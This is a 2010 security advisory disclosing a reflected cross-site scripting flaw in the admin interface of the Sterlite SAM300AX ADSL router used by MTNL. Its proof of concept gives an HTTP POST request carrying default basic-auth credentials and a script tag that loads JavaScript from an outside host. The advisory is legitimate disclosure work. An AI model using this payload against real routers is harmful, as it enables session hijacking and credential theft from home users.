Sterlite SAM300AX ADSL Router Cross Site Scripting

`*Sterlite SAM300AX ADSL router* is provided through MTNL, New Delhi, India,  
amongst other national / international locations  
(www.sterlitetechnologies.com /  
http://sterlitetechnologies.com/sterlite.aspx).  
  
##########  
  
*+About MTNL+*  
  
http://mtnldelhi.in/glance/index.htm  
  
MTNL was set up on 1st April, 1986 by the Government of India to upgrade the  
quality of telecom services, expand the telecom network, introduce new  
services and to raise revenue for telecom development needs of India’s key  
metros – Delhi, the political capital and Mumbai, the business capital of  
India.  
  
Govt. of India currently holds 56.25% stake in the company.  
  
*+Broadband device used+*  
  
http://delhi.mtnl.net.in/services/broadband.htm  
  
Sterlite SAM300AX ADSL router is deployed by MTNL at user's end (usually  
home / small office) for internet broadband services.  
  
*+Vulnerability+*  
  
A. Reflective Cross Site Scripting ( May also result in remote code  
execution )  
  
*+Details of Vulnerability+*  
  
The management interface of the router is accessible through HTTP. After  
logging in, we are presented with various administrative screens.  
  
It has been found that the user input is not properly filtered and / or  
encoded by the application. Hence, allowing an attacker to execute scripts  
on the user's browser.  
  
*+Pre-Requisites+*  
*User logged on to the Router.*  
*  
+PoC+*  
  
One of the vulnerable HTTP requests & parameters is provided below for  
reference.  
Go to Menu -> Statistics  
  
*+POST Request+*  
  
POST http://192.168.1.1/Forms/status_statistics_1 HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7)  
Gecko/20091221 Firefox/3.5.7 Paros/3.2.13  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Proxy-Connection: keep-alive  
Referer: http://192.168.1.1/status/status_statistics.htm  
Authorization: Basic YWRtaW46YWRtaW4=  
Content-Type: application/x-www-form-urlencoded  
Content-length: 101  
  
*+POST Parameters+*  
  
Stat_Radio=%3CSCRIPT%20SRC%3Dhttp%3A%2F%2Fha.ckers.org  
%2Fxss.js%3E%3C%2FSCRIPT%3E&StatRefresh=REFRESH  
  
*+Impact+*  
  
High Impact. This device is supplied in Delhi, and Mumbai through MTNL, a  
Govt. of India controlled organization. As there is no filtering / encoding  
in place, an attacker has the opportunity to get the scripts executed by the  
user (logged on to the router http://192.168.1.1). XSS can be used to obtain  
login credentials, download malware, execute scripts from external sources,  
gain access to the system and subsequently perform further serious attacks  
like DoS/DDoS.  
  
*+Solution+*  
  
A. Sanitize / filter all input.  
B. Ensure ALL Input and Output is encoded properly.  
  
*+References+*  
-> OWASP (www.owasp.org)  
  
##########  
  
*Vulnerability Found:* January 19, 2010  
  
*Vendor First Notified: January 20, 2010 *  
*Vendor Response:* None  
  
*Follow Up Notification: *January 27, 2010  
*Vendor Response:* None  
  
*Public Disclosure:* February 05, 2010  
  
##########  
  
Best Regards,  
Karn Ganeshen  
`